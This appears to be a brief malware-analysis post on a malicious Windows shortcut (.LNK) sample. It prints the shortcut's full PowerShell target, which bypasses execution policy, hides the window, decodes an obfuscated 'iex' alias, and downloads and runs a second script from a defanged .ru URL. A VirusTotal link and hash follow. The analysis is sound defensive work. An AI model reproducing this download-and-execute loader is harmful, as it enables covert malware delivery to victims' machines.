I downloaded this sample for malware analysis and change the extension to .LNK which is Microsoft Shortcut.
Right clicked on file and navigated to shortcut and found that there is target is PowerShell embedded

Below is PowerShell script which will drop another PowerShell script from the URL.
URL is http[:]// timebounder[.]ru and downloading PowerShell script pps[.]ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Exec bypass -windo 1 $je=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘aWV4’));sal calc $je;$mM=((New-Object Net.WebClient)).DownloadString(‘http[:]//timebounder[.]ru/ pps.ps1’);calc $mM

I tried running script but the website is down (http[:]// timebounder[.]ru) and unable to download PowerShell script.
Virustotal – https://www.virustotal.com/#/file/4e69c30090d67980721c36c655116e7f77059672606dfd9dc28206c0472fee98/detection
SHA256 – 4e69c30090d67980721c36c655116e7f77059672606dfd9dc28206c0472fee98